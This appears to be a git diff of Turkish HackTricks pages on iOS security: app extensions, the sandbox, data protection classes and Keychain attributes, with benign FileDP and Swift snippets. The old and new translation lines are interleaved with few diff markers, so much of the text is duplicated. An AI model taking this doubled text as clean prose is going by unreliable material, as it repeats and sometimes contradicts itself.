* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Uygulama uzantıları, uygulamaların diğer uygulamalarla veya sistemle etkileşimde bulunarak özel özellikler veya içerik sağlamasını sağlayarak uygulamaların işlevselliğini artırır. Bu uzantılar şunları içerir:
|
||||
Uygulama uzantıları, uygulamaların diğer uygulamalar veya sistemle etkileşimde bulunarak özel özellikler veya içerik sunmasına olanak tanıyarak işlevselliğini artırır. Bu uzantılar şunları içerir:
|
||||
|
||||
- **Özel Klavye**: Varsayılan iOS klavyesini değiştirerek tüm uygulamalarda benzersiz bir klavye sunar.
|
||||
- **Paylaş**: Sosyal ağlarda veya doğrudan diğer kişilerle paylaşım yapmayı sağlar.
|
||||
- **Bugün (Araçlar)**: Bildirim Merkezi'nin Bugün görünümünden hızlı bir şekilde içerik sağlar veya görevleri gerçekleştirir.
|
||||
- **Özel Klavye**: Tüm uygulamalarda benzersiz bir klavye sunarak varsayılan iOS klavyesinin yerini alır.
|
||||
- **Paylaş**: Sosyal ağlara veya diğerleriyle doğrudan paylaşım yapmayı sağlar.
|
||||
- **Bugün (Widget'lar)**: Bildirim Merkezi'nin Bugün görünümünden hızlı bir şekilde içerik sunar veya görevleri yerine getirir.
|
||||
|
||||
Bir kullanıcı, örneğin bir ana uygulamadan metin paylaşırken, uzantı bu girişi kendi bağlamında işler ve görevini yerine getirmek için paylaşılan bilgileri kullanır, Apple'ın belgelerinde ayrıntılı olarak açıklandığı gibi.
|
||||
Bir kullanıcı, ana uygulamadan metin paylaşmak gibi bu uzantılarla etkileşime girdiğinde, uzantı bu girişi kendi bağlamında işler ve görevini yerine getirmek için paylaşılan bilgileri kullanır; bu, Apple'ın belgelerinde ayrıntılı olarak açıklanmıştır.
|
||||
|
||||
### **Güvenlik Düşünceleri**
|
||||
### **Güvenlik Hususları**
|
||||
|
||||
Ana güvenlik yönleri şunları içerir:
|
||||
Ana güvenlik unsurları şunlardır:
|
||||
|
||||
- Uzantılar ve içerdikleri uygulamalar doğrudan değil, ara işlem iletişimi yoluyla iletişim kurar.
|
||||
- **Bugün aracı**, uygulamasının belirli bir yöntem aracılığıyla açılmasını isteyebilir.
|
||||
- Paylaşılan veri erişimi, özel bir konteyner içinde izin verilir, ancak doğrudan erişim kısıtlanır.
|
||||
- SağlıkKit gibi belirli API'ler, uygulama uzantılarına kapalıdır ve uzantılar uzun süreli görevler başlatamaz, kamera veya mikrofona erişemez, yalnızca iMessage uzantıları hariç.
|
||||
- Uzantılar ve içerdikleri uygulamalar, doğrudan değil, süreçler arası iletişim yoluyla iletişim kurar.
|
||||
- **Bugün widget'ı**, uygulamasını belirli bir yöntemle açmasını isteyebilmesi açısından benzersizdir.
|
||||
- Paylaşılan veri erişimi, özel bir konteyner içinde izinlidir, ancak doğrudan erişim kısıtlanmıştır.
|
||||
- HealthKit dahil bazı API'ler, uygulama uzantılarına kapalıdır; ayrıca, iMessage uzantıları hariç uzun süreli görevler başlatamaz, kamera veya mikrofon erişimi yoktur.
|
||||
|
||||
### Statik Analiz
|
||||
|
||||
#### **Uygulama Uzantılarını Tanımlama**
|
||||
#### **Uygulama Uzantılarını Belirleme**
|
||||
|
||||
Kaynak kodunda uygulama uzantılarını bulmak için Xcode'da `NSExtensionPointIdentifier` arayın veya uzantıları gösteren `.appex` dosyalarını uygulama paketi içinde bulmak için grep veya SSH kullanın.
|
||||
Kaynak kodunda uygulama uzantılarını bulmak için Xcode'da `NSExtensionPointIdentifier` araması yapın veya uzantıları gösteren `.appex` dosyalarını içeren uygulama paketini inceleyin. Kaynak kodu olmadan, bu tanımlayıcıları uygulama paketinde bulmak için grep veya SSH kullanın.
|
||||
|
||||
#### **Desteklenen Veri Türleri**
|
||||
|
||||
Desteklenen veri türlerini belirlemek için bir uzantının `Info.plist` dosyasında `NSExtensionActivationRule` kontrol edin. Bu yapılandırma, yalnızca uyumlu veri türlerinin ana uygulamalarda uzantıyı tetiklemesini sağlar.
|
||||
Desteklenen veri türlerini belirlemek için bir uzantının `Info.plist` dosyasını kontrol edin ve `NSExtensionActivationRule`'u inceleyin. Bu yapılandırma, yalnızca uyumlu veri türlerinin ana uygulamalarda uzantıyı tetiklemesini sağlar.
|
||||
|
||||
#### **Veri Paylaşımı**
|
||||
|
||||
Bir uygulama ile uzantısı arasındaki veri paylaşımı, "App Groups" aracılığıyla kurulan ve `NSUserDefaults` üzerinden erişilen paylaşılan bir konteyner gerektirir. Bu paylaşılan alan, uzantılar tarafından başlatılan arka plan transferleri için gereklidir.
|
||||
Bir uygulama ile uzantısı arasında veri paylaşımı, "Uygulama Grupları" aracılığıyla ayarlanan ve `NSUserDefaults` üzerinden erişilen paylaşılan bir konteyner gerektirir. Bu paylaşılan alan, uzantılar tarafından başlatılan arka plan transferleri için gereklidir.
|
||||
|
||||
#### **Uzantıları Sınırlama**
|
||||
#### **Uzantıları Kısıtlama**
|
||||
|
||||
Uygulamalar, özellikle özel klavyeler gibi belirli uzantı türlerini sınırlayabilir, böylece hassas veri işleme işlemleri güvenlik protokolleriyle uyumlu olur.
|
||||
Uygulamalar, özellikle özel klavyeler gibi belirli uzantı türlerini kısıtlayabilir, böylece hassas veri işleme güvenlik protokolleriyle uyumlu hale gelir.
|
||||
|
||||
### Dinamik Analiz
|
||||
|
||||
Dinamik analiz şunları içerir:
|
||||
|
||||
- **Paylaşılan Öğeleri İnceleme**: Paylaşılan veri türlerini ve kökenlerini görmek için `NSExtensionContext - inputItems`'a bağlanın.
|
||||
- **Uzantıları Tanımlama**: Verilerinizi işleyen uzantıları görmek için `NSXPCConnection` gibi dahili mekanizmaları gözlemleyin.
|
||||
- **Uzantıları Belirleme**: Verilerinizi işleyen uzantıları keşfetmek için `NSXPCConnection` gibi iç mekanizmaları gözlemleyin.
|
||||
|
||||
`frida-trace` gibi araçlar, özellikle ara işlem iletişiminin teknik ayrıntılarına ilgi duyanlar için altta yatan süreçleri anlamada yardımcı olabilir.
|
||||
`frida-trace` gibi araçlar, süreçler arası iletişimin teknik detaylarına ilgi duyanlar için temel süreçleri anlamaya yardımcı olabilir.
|
||||
|
||||
## Referanslar
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Ayrıcalık Ayrımı ve Kum Sandığı
|
||||
# Ayrıcalık Ayrımı ve Sandbox
|
||||
|
||||
iOS'ta, kullanıcı erişilebilir uygulamalar ile sistem çekirdeğinin temel işlemleri arasında bir ayrıcalık ayrımı bulunur. Uygulamalar **`mobile`** kullanıcı kimliği altında çalışırken, önemli sistem işlemleri **`root`** olarak çalışır. Bu ayrım, uygulamaların hangi eylemleri gerçekleştirebileceği konusunda sıkı kısıtlamalar getiren bir kum sandığı mekanizması tarafından güçlendirilir. Örneğin, uygulamalar aynı kullanıcı kimliğini paylaşsalar bile, birbirlerinin verilerine erişmeleri veya değiştirmeleri yasaktır.
|
||||
iOS'ta, kullanıcı erişimine açık uygulamalar ile sistemin temel süreçleri arasında bir ayrıcalık ayrımı vardır. Uygulamalar **`mobile`** kullanıcı kimliği altında çalışırken, kritik sistem süreçleri **`root`** olarak çalışır. Bu ayrım, uygulamaların gerçekleştirebileceği eylemler üzerinde katı sınırlamalar getiren bir sandbox mekanizması ile güçlendirilmiştir. Örneğin, uygulamalar aynı kullanıcı kimliğini paylaşsalar bile, birbirlerinin verilerine erişmeleri veya bunları değiştirmeleri yasaktır.
|
||||
|
||||
Uygulamalar belirli bir dizine (`private/var/mobile/Applications/{rastgele ID}`) kurulur ve SMS ve telefon görüşmeleri gibi belirli sistem alanlarına ve işlevlere sınırlı okuma erişimi vardır. Korunan alanlara erişim, kullanıcı izni için bir açılır pencere isteği tetikler.
|
||||
Uygulamalar belirli bir dizine (`private/var/mobile/Applications/{random ID}`) yüklenir ve SMS ve telefon görüşmeleri gibi belirli sistem alanlarına ve işlevlerine sınırlı okuma erişimine sahiptir. Korunan alanlara erişim, kullanıcı izni için bir pop-up isteği tetikler.
|
||||
|
||||
# Veri Koruma
|
||||
|
||||
iOS, veri koruma bütünlüğünü sağlamak için Secure Enclave Processor (SEP) üzerine inşa edilen **Veri Koruma API'leri** sunar - şifreleme işlemleri ve anahtar yönetimi için ayrılmış bir yardımcı işlemci. SEP, içine gömülü olan cihaza özgü bir anahtar olan cihaz UID'si aracılığıyla veri koruması bütünlüğünü sağlar.
|
||||
iOS, geliştiricilere **Veri Koruma API'leri** sunar; bu API'ler, kriptografik işlemler ve anahtar yönetimi için özel bir yardımcı işlemci olan Secure Enclave Processor (SEP) üzerine inşa edilmiştir. SEP, içinde yer alan cihaz UID'si ile birlikte, cihaz koruma bütünlüğünü sağlar.
|
||||
|
||||
Bir dosya oluşturulduğunda, dosyanın içeriğini şifreleyen benzersiz bir 256-bit AES şifreleme anahtarı oluşturulur. Bu şifreleme anahtarı, bir sınıf anahtarıyla şifrelenir ve dosyanın meta verilerine depolanır. Bir dosyanın şifresini çözmek için, sistemin anahtarını kullanarak meta verilere erişilir, sınıf kimliğiyle sınıf anahtarını alınır ve ardından dosyanın benzersiz şifreleme anahtarı çözülür.
|
||||
Dosya oluşturulduğunda, dosyanın içeriğini şifreleyen benzersiz bir 256-bit AES şifreleme anahtarı üretilir. Bu şifreleme anahtarı, bir sınıf kimliği ile birlikte, bir sınıf anahtarı kullanılarak şifrelenir ve dosyanın meta verileri içinde saklanır. Bir dosyayı şifre çözmek, sistemin anahtarını kullanarak meta verilere erişmeyi, sınıf kimliği ile sınıf anahtarını almayı ve ardından dosyanın benzersiz şifreleme anahtarını çözmeyi içerir.
|
||||
|
||||
iOS, veri güvenliği için **dört koruma sınıfı** tanımlar, verinin ne zaman ve nasıl erişilebileceğini belirler:
|
||||
iOS, veri güvenliği için **dört koruma sınıfı** tanımlar; bu sınıflar, verilerin ne zaman ve nasıl erişilebileceğini belirler:
|
||||
|
||||
- **Tam Koruma (NSFileProtectionComplete)**: Veri, kullanıcının şifresini kullanarak cihazın kilidini açana kadar erişilemez.
|
||||
- **Açık Olmadıkça Korunan (NSFileProtectionCompleteUnlessOpen)**: Dosya, cihaz kilitlendiğinde bile erişilebilir, ancak dosya cihaz kilidini açıldığında açıldıysa.
|
||||
- **İlk Kullanıcı Kimlik Doğrulamasına Kadar Korunan (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Veri, ilk kullanıcı açılışından sonra yapılan ilk kullanıcı kimlik doğrulamasından sonra erişilebilir hale gelir ve cihaz tekrar kilitlense bile erişilebilir kalır.
|
||||
- **Koruma Yok (NSFileProtectionNone)**: Veri, cihaz UID'si tarafından korunur ve hızlı uzaktan veri silmeyi kolaylaştırır.
|
||||
- **Tam Koruma (NSFileProtectionComplete)**: Veri, cihaz kullanıcının şifresi ile kilidi açılana kadar erişilemez.
|
||||
- **Açık Olmadıkça Koruma (NSFileProtectionCompleteUnlessOpen)**: Cihaz kilitli olsa bile, dosya açıldığında erişime izin verir.
|
||||
- **İlk Kullanıcı Kimlik Doğrulamasına Kadar Koruma (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Veri, cihazın ilk açılışından sonra erişilebilir, cihaz tekrar kilitlense bile erişim devam eder.
|
||||
- **Koruma Yok (NSFileProtectionNone)**: Veri yalnızca cihaz UID'si ile korunur, hızlı uzaktan veri silmeyi kolaylaştırır.
|
||||
|
||||
`NSFileProtectionNone` hariç tüm sınıfların şifrelemesi, cihaz UID'si ve kullanıcının şifresinden türetilen bir anahtarla yapılır, böylece doğru şifreyle sadece cihazda çözme mümkün olur. iOS 7'den itibaren, varsayılan koruma sınıfı "İlk Kullanıcı Kimlik Doğrulamasına Kadar Korunan" olarak belirlenmiştir.
|
||||
`NSFileProtectionNone` dışındaki tüm sınıfların şifrelemesi, hem cihaz UID'sinden hem de kullanıcının şifresinden türetilen bir anahtar içerir; bu, şifre çözmenin yalnızca doğru şifreye sahip cihazda mümkün olmasını sağlar. iOS 7'den itibaren, varsayılan koruma sınıfı "İlk Kullanıcı Kimlik Doğrulamasına Kadar Koruma"dır.
|
||||
|
||||
Geliştiriciler, bir iPhone'daki dosyaların veri koruma sınıfını incelemek için [**FileDP**](https://github.com/abjurato/FileDp-Source) adlı bir araç kullanabilirler.
|
||||
Geliştiriciler, bir iPhone'daki dosyaların veri koruma sınıfını incelemek için [**FileDP**](https://github.com/abjurato/FileDp-Source) adlı aracı kullanabilirler.
|
||||
```python
|
||||
# Example code to use FileDP for checking file protection class
|
||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||
|
@ -44,44 +45,44 @@ python filedp.py /path/to/check
|
|||
```
|
||||
## **Anahtar Zinciri**
|
||||
|
||||
iOS'ta, bir **Anahtar Zinciri**, yalnızca onu depolayan uygulama veya açıkça yetkilendirilenler tarafından erişilebilen **hassas bilgilerin** güvenli bir **şifrelenmiş konteyner** olarak hizmet eder. Bu şifreleme, iOS tarafından oluşturulan benzersiz bir **şifre** tarafından güçlendirilir ve kendisi **AES** ile şifrelenir. Bu şifreleme işlemi, kullanıcının parolasını cihazın **UID**'den türetilen bir tuzla birleştiren bir **PBKDF2 işlevi** kullanır ve yalnızca **güvenli kripto birimi yongası**'nın erişebileceği bir bileşendir. Sonuç olarak, kullanıcının parolası bilinse bile, Anahtar Zinciri içeriği yalnızca orijinal olarak şifrelendiği cihaz dışında hiçbir cihazda erişilemez kalır.
|
||||
iOS'ta, bir **Anahtar Zinciri**, yalnızca onu depolayan uygulama veya açıkça yetkilendirilmiş olanlar tarafından erişilebilen **hassas bilgileri** depolamak için güvenli bir **şifreli konteyner** olarak hizmet eder. Bu şifreleme, iOS tarafından üretilen benzersiz bir **şifre** ile güçlendirilmiştir ve bu şifre **AES** ile şifrelenmiştir. Bu şifreleme süreci, kullanıcının şifresini bir cihazın **UID**'sinden türetilen bir tuz ile birleştiren bir **PBKDF2 fonksiyonu** kullanır; bu bileşen yalnızca **güvenli enclave yongası** tarafından erişilebilir. Sonuç olarak, kullanıcının şifresi bilinse bile, Anahtar Zinciri içeriği yalnızca orijinal olarak şifrelendiği cihaz dışında herhangi bir cihazda erişilemez durumda kalır.
|
||||
|
||||
Anahtar Zinciri verilerinin **yönetimi ve erişimi**, `Keychain-access-groups` ve `application-identifier` gibi belirli uygulama yetkilendirmelerine dayalı olarak **`securityd` hizmeti** tarafından ele alınır.
|
||||
Anahtar Zinciri verilerine **yönetim ve erişim**, `Keychain-access-groups` ve `application-identifier` gibi belirli uygulama yetkilerine dayanan **`securityd` daemon** tarafından yönetilmektedir.
|
||||
|
||||
### **Anahtar Zinciri API İşlemleri**
|
||||
|
||||
Anahtar Zinciri API'si, [Apple'ın Anahtar Zinciri Hizmetleri belgelerinde](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) ayrıntılı olarak açıklanan güvenli depolama yönetimi için temel işlevleri sağlar:
|
||||
Anahtar Zinciri API'si, [Apple'ın Anahtar Zinciri Hizmetleri belgelerinde](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) detaylandırılmıştır ve güvenli depolama yönetimi için temel işlevler sunar:
|
||||
|
||||
- **`SecItemAdd`**: Anahtar Zinciri'ne yeni bir öğe ekler.
|
||||
- **`SecItemUpdate`**: Anahtar Zinciri'ndeki mevcut bir öğeyi günceller.
|
||||
- **`SecItemCopyMatching`**: Anahtar Zinciri'nden bir öğe alır.
|
||||
- **`SecItemDelete`**: Anahtar Zinciri'nden bir öğeyi kaldırır.
|
||||
- **`SecItemAdd`**: Anahtar Zincirine yeni bir öğe ekler.
|
||||
- **`SecItemUpdate`**: Anahtar Zincirindeki mevcut bir öğeyi günceller.
|
||||
- **`SecItemCopyMatching`**: Anahtar Zincirinden bir öğe alır.
|
||||
- **`SecItemDelete`**: Anahtar Zincirinden bir öğeyi kaldırır.
|
||||
|
||||
Anahtar Zinciri parolasını kaba kuvvet saldırısıyla çözmek, şifrelenmiş anahtara doğrudan saldırmak veya cihazdaki parolayı tahmin etmeye çalışmak anlamına gelir, ancak güvenli kripto birimi yongasının başarısız denemeler arasında bir gecikme uygulaması nedeniyle önemli ölçüde zorlaşır.
|
||||
Anahtar Zinciri şifresini zorlamak, ya şifrelenmiş anahtara doğrudan saldırmayı ya da cihazda şifreyi tahmin etmeyi içerir; bu, güvenli enclave'in başarısız denemeler arasında bir gecikme uygulamasıyla önemli ölçüde engellenir.
|
||||
|
||||
### **Anahtar Zinciri Öğe Veri Korumasını Yapılandırma**
|
||||
### **Anahtar Zinciri Öğesi Veri Koruma Yapılandırması**
|
||||
|
||||
Anahtar Zinciri öğelerinin veri koruma seviyeleri, öğe oluşturma veya güncelleme sırasında `kSecAttrAccessible` özniteliği kullanılarak ayarlanır. Bu seviyeler, [Apple tarafından belirtilen](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) şekilde, Anahtar Zinciri öğelerinin ne zaman ve nasıl erişilebilir olduğunu belirler:
|
||||
Anahtar Zinciri öğeleri için veri koruma seviyeleri, öğe oluşturma veya güncelleme sırasında `kSecAttrAccessible` niteliği kullanılarak ayarlanır. Bu seviyeler, [Apple tarafından belirtilen](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) Anahtar Zinciri öğelerinin ne zaman ve nasıl erişilebilir olduğunu belirler:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**: Her zaman erişilebilir, cihaz kilidi durumundan bağımsız olarak.
|
||||
- **`kSecAttrAccessibleAlways`**: Cihaz kilit durumu ne olursa olsun her zaman erişilebilir.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Her zaman erişilebilir, ancak yedeklemelere dahil edilmez.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: İlk yeniden başlatmadan sonra erişilebilir.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Yukarıdakiyle aynı, ancak yeni cihazlara aktarılamaz.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Yalnızca cihaz kilidinin açık olduğu durumlarda erişilebilir.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Kilidi açık olduğunda erişilebilir, yedeklemelere dahil edilmez.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Cihaz parolası gerektirir, yedeklemelere dahil edilmez.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Yeniden başlatmadan sonra ilk açılışta erişilebilir.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Yukarıdakiyle aynı, ancak yeni cihazlara aktarılmaz.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Cihaz açıkken yalnızca erişilebilir.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Açıkken erişilebilir, yedeklemelere dahil edilmez.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Cihaz şifresi gerektirir, yedeklemelere dahil edilmez.
|
||||
|
||||
**`AccessControlFlags`**, biyometrik kimlik doğrulama veya parola kullanımına izin vererek erişim yöntemlerini daha da geliştirir.
|
||||
**`AccessControlFlags`** erişim yöntemlerini daha da rafine eder, biyometrik kimlik doğrulama veya şifre kullanımı sağlar.
|
||||
|
||||
### **Jailbreakli Cihaz Uyarısı**
|
||||
### **Jailbroken Cihazlar Uyarısı**
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Jailbreakli cihazlarda**, Anahtar Zinciri'nin korumaları tehlikeye girer ve önemli bir güvenlik riski oluşturur.
|
||||
**Jailbroken cihazlarda**, Anahtar Zinciri'nin korumaları tehlikeye girer ve önemli bir güvenlik riski oluşturur.
|
||||
{% endhint %}
|
||||
|
||||
### **Anahtar Zinciri Verilerinin Kalıcılığı**
|
||||
### **Anahtar Zinciri Verilerinin Sürekliliği**
|
||||
|
||||
Uygulama kaldırıldığında uygulama özel verilerinin silinmesinin aksine, **Anahtar Zinciri verileri** cihazda kalıcıdır. Bu özellik, ikinci el bir cihazın yeni sahiplerinin uygulama verilerine önceki sahibin sadece uygulamaları yeniden yükleyerek erişmesine olanak tanıyabilir. Geliştiricilere, bu riski azaltmak için uygulama yükleme sırasında veya oturumu kapatma sırasında proaktif olarak Anahtar Zinciri verilerini temizlemeleri önerilir. İşte Anahtar Zinciri verilerini ilk uygulama başlatmasında nasıl temizleyeceğinizi gösteren bir Swift kodu örneği:
|
||||
Uygulama kaldırıldığında silinen uygulama özel verilerinin aksine, **Anahtar Zinciri verileri** cihazda kalır. Bu özellik, ikinci el bir cihazın yeni sahiplerinin, uygulamaları yeniden yükleyerek önceki sahibin uygulama verilerine erişim sağlamasına olanak tanıyabilir. Geliştiricilerin, bu riski azaltmak için uygulama kurulumu sırasında veya çıkış yaparken Anahtar Zinciri verilerini proaktif olarak temizlemeleri önerilir. İşte ilk uygulama açılışında Anahtar Zinciri verilerini temizlemeyi gösteren bir Swift kod örneği:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
|
@ -95,42 +96,42 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
|||
```
|
||||
# **Uygulama Yetenekleri**
|
||||
|
||||
Uygulama geliştirme alanında, **sandboxing** güvenliği artırmada önemli bir rol oynar. Bu süreç, her uygulamanın kendi benzersiz ana dizininde çalışmasını sağlayarak, sistem dosyalarına veya diğer uygulamalara ait verilere erişmesini engeller. Bu kısıtlamaların uygulanması, **Trusted BSD (MAC) Mandatory Access Control Framework**'ün bir parçası olan sandbox politikaları aracılığıyla gerçekleştirilir.
|
||||
Uygulama geliştirme alanında, **sandboxing** güvenliği artırmada kritik bir rol oynamaktadır. Bu süreç, her uygulamanın kendi benzersiz ana dizininde çalışmasını sağlar ve böylece sistem dosyalarına veya diğer uygulamalara ait verilere erişimini engeller. Bu kısıtlamaların uygulanması, **Trusted BSD (MAC) Mandatory Access Control Framework**'ün bir parçası olan sandbox politikaları aracılığıyla gerçekleştirilir.
|
||||
|
||||
Geliştiriciler, uygulamaları için **Veri Koruma** veya **Anahtar Zinciri Paylaşımı** gibi belirli **yetenekler veya izinler** yapılandırma yeteneğine sahiptir. Bu izinler, uygulama yüklendikten hemen sonra uygulanır. Bununla birlikte, belirli korumalı kaynaklara erişmek için uygulamanın ilk denemede kullanıcıdan açık onay alması gerekmektedir. Bu, kullanıcılara izin isteği uyarısında sunulan _amaç dizeleri_ veya _kullanım açıklama dizeleri_ kullanılarak gerçekleştirilir.
|
||||
Geliştiriciler, uygulamaları için **Data Protection** veya **Keychain Sharing** gibi belirli **yetenekler veya izinler** yapılandırma yeteneğine sahiptir. Bu izinler, uygulama yüklendikten hemen sonra uygulanır. Ancak, belirli korunan kaynaklara erişim için uygulamanın, ilk deneme sırasında kullanıcıdan açık onay alması gerekmektedir. Bu, kullanıcılara bir izin talep uyarısında sunulan _amaç dizeleri_ veya _kullanım açıklama dizeleri_ aracılığıyla gerçekleştirilir.
|
||||
|
||||
Kaynak koduna erişimi olanlar için, `Info.plist` dosyasında bulunan izinlerin doğrulanması şu adımlarla yapılabilir:
|
||||
